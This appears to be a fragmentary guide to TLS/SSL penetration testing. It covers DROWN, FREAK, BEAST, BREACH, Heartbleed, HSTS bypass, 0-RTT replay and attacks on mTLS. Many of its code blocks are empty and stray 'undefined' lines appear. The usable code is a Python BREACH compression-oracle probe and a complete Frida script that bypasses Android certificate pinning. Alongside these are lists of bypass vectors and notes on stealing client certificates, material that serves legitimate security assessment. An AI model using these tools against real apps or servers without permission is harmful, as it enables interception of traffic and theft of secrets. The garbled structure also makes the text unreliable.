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Use sslyze for Python-integrated scanning and CI/CD pipeline integration:

```bash

Use sslscan for rapid cipher enumeration and tlsx for high-speed probing at scale:

```bash

---

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**DROWN (CVE-2016-0800)** is a cross-protocol attack. If a server (or any server sharing the same RSA key) supports SSLv2, an attacker can decrypt passively captured TLS sessions. The attack adapts Bleichenbacher's RSA padding oracle using SSLv2 export cipher handshakes.

```bash

**FREAK (CVE-2015-0204)** forces a downgrade to RSA_EXPORT cipher suites with 512-bit RSA keys, which are factorable in hours on commodity hardware:

```bash

---

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BEAST requires the attacker to inject chosen plaintext into the same TLS connection (typically via JavaScript in adjacent browser contexts). Modern mitigations include 1/n-1 record splitting (implemented in all current browsers) and upgrading to TLS 1.2+ where explicit IVs are used.

Confirm the condition: if `openssl s_client -tls1 -cipher 'ALL:!eNULL'` negotiates any CBC cipher, the connection is BEAST-eligible. Cross-reference the server's JA3S fingerprint to verify TLS 1.0 negotiation.

---

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**BREACH** exploits HTTP-level compression (gzip/deflate) and is far more prevalent than CRIME because HTTP compression is almost universally enabled. The attack recovers secrets that appear in HTTP response bodies alongside attacker-reflected input.

```bash

```python
import requests
import string

def breach_probe(url, known_prefix, charset=string.ascii_letters + string.digits):
    """
    BREACH oracle: measure compressed response length to recover secrets.
    Requires: HTTP compression enabled, secret in response body,
    attacker can inject chosen text that is reflected in the same response.
    """
    results = {}
    for c in charset:
        candidate = known_prefix + c
        # Inject candidate via a reflected parameter
        resp = requests.get(url, params={"search": candidate},
                          headers={"Accept-Encoding": "gzip"})
        # The response object's content is decompressed; use raw socket
        # or measure the actual wire bytes for a real attack.
        # Here we demonstrate the concept:
        results[c] = len(resp.content)

    # The correct byte compresses better (shorter response)
    best = min(results, key=results.get)
    return known_prefix + best

---

undefined

The attack sends a TLS heartbeat request declaring a large payload length (up to 16384 bytes) but including only a single byte of actual payload. Vulnerable OpenSSL versions return the declared length from process memory. Each request leaks up to 64KB; repeated requests may expose private keys, session tokens, and credentials from different memory regions. Use the Nmap script or testssl.sh for reliable detection; for manual exploitation, existing PoC scripts (heartbleed.py variants) handle the raw TLS handshake and heartbeat framing.

---

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Search for these patterns in source code and configuration files during assessments:

```bash

---

undefined

```bash

```javascript
// bypass_pinning.js - Frida script for Android SSL pinning bypass
// Covers OkHttp, TrustManager, WebView, and common pinning libraries

Java.perform(function() {
    // Bypass OkHttp3 CertificatePinner
    try {
        var CertificatePinner = Java.use('okhttp3.CertificatePinner');
        CertificatePinner.check.overload('java.lang.String', 'java.util.List')
            .implementation = function(hostname, peerCertificates) {
            console.log('[+] OkHttp3 CertificatePinner bypassed for: ' + hostname);
            return;
        };
    } catch (e) {
        console.log('[-] OkHttp3 not found');
    }

    // Bypass custom TrustManager
    try {
        var X509TrustManager = Java.use('javax.net.ssl.X509TrustManager');
        var SSLContext = Java.use('javax.net.ssl.SSLContext');

        var TrustManager = Java.registerClass({
            name: 'com.bypass.TrustManager',
            implements: [X509TrustManager],
            methods: {
                checkClientTrusted: function(chain, authType) {},
                checkServerTrusted: function(chain, authType) {},
                getAcceptedIssuers: function() { return []; }
            }
        });

        var TrustManagers = [TrustManager.$new()];
        var sslContext = SSLContext.getInstance('TLS');
        sslContext.init(null, TrustManagers, null);
        console.log('[+] Custom TrustManager installed');
    } catch (e) {
        console.log('[-] TrustManager bypass failed: ' + e);
    }

    // Bypass Android WebView SSL errors
    try {
        var WebViewClient = Java.use('android.webkit.WebViewClient');
        WebViewClient.onReceivedSslError.implementation = function(view, handler, error) {
            console.log('[+] WebView SSL error bypassed');
            handler.proceed();
        };
    } catch (e) {
        console.log('[-] WebViewClient bypass not applicable');
    }
});

undefined

---

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HSTS bypass vectors:
- **First visit**: HSTS is trust-on-first-use. If the user has never visited the site and the site is not on the preload list, the initial HTTP request can be intercepted.
- **Subdomain scope**: `includeSubDomains` is often missing. Attack via `http://sub.target.com` even if `target.com` has HSTS.
- **NTP manipulation**: HSTS entries expire. If you can manipulate the client's clock (via NTP spoofing on the local network), cached HSTS policies can be aged out.
- **Private browsing**: Some browsers do not persist HSTS across private browsing sessions.

---

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The two-step openssl test above is definitive: if the second connection succeeds and the server processes the early data file, 0-RTT is accepted. A network attacker who captures the ClientHello and early data from a legitimate connection can replay it verbatim. Target non-idempotent endpoints -- fund transfers, account modifications, order submissions -- where replay has material impact. Servers should implement anti-replay per RFC 8446 Section 8 or reject 0-RTT entirely for state-changing operations.

---

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Attack vectors against mTLS:
- **Missing CA validation**: Server accepts any client certificate regardless of issuer.
- **Overly broad CA trust**: Server trusts a CA that also issues certificates to unrelated parties.
- **Client certificate theft**: Extract client certificates from keystores, environment variables, CI/CD pipelines, or container images.
- **Certificate relay**: Forward client certificate challenges to a legitimate client and relay responses.

---

undefined

```bash

---